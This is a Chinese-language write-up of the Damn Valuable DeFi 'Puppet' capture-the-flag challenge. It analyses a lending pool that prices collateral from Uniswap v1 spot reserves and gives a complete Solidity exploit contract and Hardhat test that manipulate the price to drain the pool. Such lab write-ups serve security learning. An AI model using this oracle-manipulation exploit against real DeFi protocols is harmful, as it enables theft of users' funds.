1. issue
There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an old Uniswap v1 exchange , currently with 10 ETH and 10 DVT in liquidity.
Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.
简单来说,凭借手中 25 ETH and 1000 DVTs
,将 lending pool
中的 DVTS 代币全部取出来。
题目链接
2. analysing 2.1 PuppetPool.sol 这道题只有一个合约,我们先阅读合约。
里面只有三个函数, 分别是: borrow、calculateDepositRequired、_computeOraclePrice
borrow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function borrow(uint256 amount, address recipient) external payable nonReentrant { uint256 depositRequired = calculateDepositRequired(amount); // 押金 (DVT) if (msg.value < depositRequired) revert NotEnoughCollateral(); if (msg.value > depositRequired) { // 支付的ETH 要大于押金 unchecked { payable(msg.sender).sendValue(msg.value - depositRequired); } } unchecked { deposits[msg.sender] += depositRequired; } // Fails if the pool doesn't have enough tokens in liquidity if(!token.transfer(recipient, amount)) revert TransferFailed(); emit Borrowed(msg.sender, recipient, depositRequired, amount); }
函数很简单,就是 判断你支付的ETH 要大于押金,而且还有确保 pool中有足够的 DVTs可供借贷 if(!token.transfer(recipient, amount))
。
calculateDepositRequired、_computeOraclePrice
这两个函数一块看
1 2 3 4 5 6 7 8 9 10 11 // 计算押金 化简得 2 * amount * uniswapPair.balance / token.balanceOf(uniswapPair) function (uint256 amount) public view returns (uint256) { return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18; } // 计算每一个 token 对应多少 wei function _computeOraclePrice() private view returns (uint256) { // calculates the price of the token in wei according to Uniswap pair return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair); }
将这两个函数,利用数学代换式可以将 calculateDepositRequired
的计算式看成
depositRequired = 2 * uniswapPair.balance / token.balanceOf(uniswapPair)
我们都知道,要想商最小,要么被除数越小,要么除数越大。
而题中 uniswapPair.balance 和 token.balanceOf(uniswapPair)
都是 10 。题目还为我们提供了一个 uniswap v1
我 手中有 25 ETH and 1000 DVTs
,我可以试着和 uniswap
进行交换,从而看看如何改变uniswap 的 uniswapPair.balance 或 token.balanceOf(uniswapPair)
。
有一篇 文章 能够帮助我们调用 uniswap v1
的函数,比如 tokenToEthSwapOutput
,函数功能:指定你需要兑换的 ETH数量并将ETH发送给指定接收者,函数根据要兑换的ETH计算扣除代币。
大佬的博客
3. solving 3.1 PuppetHack.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../DamnValuableToken.sol"; import "./PuppetPool.sol"; import "hardhat/console.sol"; interface IUniswapExchange { function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256); } contract PuppetHack { DamnValuableToken token; IUniswapExchange uniswapExchange; PuppetPool pool; constructor(address _token, address _uniswapExchange, address _pool) { token = DamnValuableToken(_token); uniswapExchange = IUniswapExchange(_uniswapExchange); pool = PuppetPool(_pool); } function attack() external payable { // console.log("msg.sender.balance",msg.sender.balance); // payable(address(this)).transfer(msg.sender.balance); // 记录我手中的代币数量 uint256 amount = token.balanceOf(address(this)); // 先给uniswapv1授权,允许它调用我们全部的token,此时授权者是hacker token.approve(address(uniswapExchange), amount); // 调用v1,用代币交换ETH uniswapExchange.tokenToEthSwapOutput(9.9 ether, amount, block.timestamp * 2); // 算一下现在把 pool中的token全部借出来要抵押多少 ETH uint256 depositRequired = pool.calculateDepositRequired(token.balanceOf(address(pool))); // 将全部的 token代币借出来 pool.borrow{value: depositRequired, gas: 30000000}(token.balanceOf(address(pool)), msg.sender); } // 接收 v1 换出来的 ETH receive() external payable {} }
3.2 challenge.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 it ('Execution' , async function ( ) { const hacker = await (await ethers.getContractFactory ('PuppetHack' , player)).deploy ( token.address , uniswapExchange.address , lendingPool.address ); await token.connect (player).transfer (hacker.address , await token.balanceOf (player.address )); await player.sendTransaction ({ to : hacker.address , value : await ethers.utils .parseEther ("11.0" ) }); await hacker.attack (); });
要在一笔交易中完成。。。。。。(把题目改了就舒服多了)
先留着吧,等以后技术上来了,再试着把他们整合到一笔交易中。